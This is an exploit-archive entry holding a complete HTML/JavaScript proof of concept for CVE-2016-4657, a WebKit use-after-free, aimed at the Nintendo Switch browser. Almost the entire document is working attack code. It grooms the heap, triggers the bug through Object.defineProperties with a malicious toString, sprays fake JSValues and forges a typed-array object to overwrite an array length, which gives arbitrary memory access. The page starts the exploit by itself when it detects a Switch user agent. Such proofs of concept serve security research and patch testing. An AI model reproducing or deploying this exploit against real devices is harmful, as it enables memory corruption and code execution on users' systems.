Nintendo Switch WebKit Code Execution PoC

2018.03.02
Credit: LiveOverflow
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<!doctype html> <html> <head> <title>CVE-2016-4657 Switch PoC</title> <style> body {font-size: 2em;} a {text-decoration: none; color: #000;} a:hover {color: #f00; font-weight: bold;} </style> </head> <body> <h1>CVE-2016-4657 Nintendo Switch PoC</h1> <ul> <li><a href=\'javascript:go();\'> go!</a></li> <li><a href=\'javascript:document.location.reload();\'> reload</a></li> </ul> <div id=\'status\'> waiting... click go.</div> <script> // display JS errors as alerts. Helps debugging. window.onerror = function(error, url, line) { alert(error+\' URL:\'+url+\' L:\'+line); }; </script> <script> // based on jbme.qwertyoruiop.com // Thanks to: // + qwertyoruiop // + Retr0id // + Ando // // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html // garbage collection stuff var pressure = new Array(100); // do garbage collect dgc = function() { for (var i = 0; i < pressure.length; i++) { pressure[i] = new Uint32Array(0x10000); } for (var i = 0; i < pressure.length; i++) { pressure[i] = 0; } } // access to the overlapping Uint32Array var bufs = new Array(0x1000); // we will modify the vector of this var smash = new Uint32Array(0x10); // the array with the stale pointer var stale = 0; var _dview = null; // write 2x 32bit in a DataView and get the Float representation of it function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } function go_() { // check if the length of the array smash changed already. if yes, bail out. if (smash.length != 0x10) return; // garbage collect dgc(); // new array with 0x100 elements var arr = new Array(0x100); // new array buffer of length 0x1000 var yolo = new ArrayBuffer(0x1000); // populate the arr with pointer to yolo and a number. not quite sure why. arr[0] = yolo; arr[1] = 0x13371337; // create an object whos toString function returns number 10 and messes with arr. var not_number = {}; not_number.toString = function() { arr = null; props[\"stale\"][\"value\"] = null; // if bufs is already overlapping memory, bail out. if (bufs[0]) return 10; // really make sure garbage is collected // the array pointed at by arr should be gone now. for (var i = 0; i < 20; i++) { dgc(); } // for the whole buf Array for (i = 0; i < bufs.length; i++) { // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier bufs[i] = new Uint32Array(0x100 * 2) // for each element of that array for (k = 0; k < bufs[i].length;) { // set memory to 0x41414141 0xffff0000 // basically spraying the JSValue 0xffff000041414141 // which is the Integer 0x41414141 // phrack: Integer FFFF:0000:IIII:IIII bufs[i][k++] = 0x41414141; bufs[i][k++] = 0xffff0000; } } return 10; }; // define a new object with some properties var props = { p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 }, p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 }, p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 }, // the length of this object is set to this object that does evil stuff with toString() length: { value: not_number }, // the reference to the arr array. Which will later be freed. stale: { value: arr }, after: { value: 666 } }; // define a new target array var target = []; // TRIGGER BUG! // set the properties of the target based on the previously defined ones Object.defineProperties(target, props); // get a reference to the target stale property, which points to arr stale = target.stale; // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again if(stale[0]==0x41414141) { // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242 stale[0] += 0x101; //stale[0] = 0x41414242; //document.getElementById(\'status\').innerText = \'bug done.\'; // searching the whole memory that is overlaying the old arr. Looking for 0x41414242 for (i = 0; i < bufs.length; i++) { for (k = 0; k < bufs[0].length; k++) { // Found the value! bufs[i][k] point now at the same memory as stale[0] if (bufs[i][k] == 0x41414242) { alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16)); // create a new object. Will look kinda like this: // 0x0100150000000136 0x0000000000000000 <- fictional value // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\'] // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\'] stale[0] = { \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array \'b\': u2d(0, 0), \'c\': smash, // var pointing at the struct of a Uint32Array(0x10) \'d\': u2d(0x100, 0) } alert(\'created the JSObject.\\nstale[0] = \'+stale[0]); // remember the original stale pointer, pointing at the object with the a,b,c,d properties stale[1] = stale[0]; // now add 0x10 to the pointer of stale[0], which points now in the middle of the object. bufs[i][k] += 0x10; // check the type of stale[0]. // removed the loop because it makes the exploit sooooooo unreliable // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html) /*while(!(stale[0] instanceof Uint32Array)) { // if stale[0] is not a Uint32Array yet, increment the structureID guess structureID++; // assign the next structureID to the original object still referenced by stale[1] stale[1][\'a\'] = u2d(structureID, 0); }*/ // Give some information. stale[0] should now be a Uint32Array alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\'); // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array // which should point to the struct of smash, allowing us to overwrite the length of smash stale[0][6] = 0x1337; // check the length of smash is now. alert(\'smash.length is now: 0x\'+smash.length.toString(16)); alert(\'done!\\nswitch will probably crash now :O\'); return; } } } } document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\'; setTimeout(function() {document.location.reload();}, 1000); } function go() { document.getElementById(\'status\').innerText = \' go! \'; dgc(); dgc(); dgc(); dgc(); dgc(); dgc(); setTimeout(go_, 500); } // if Switch browser is detected, auto start exploit if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) { document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \'; setTimeout(go, 2000); } </script> </body> </html>


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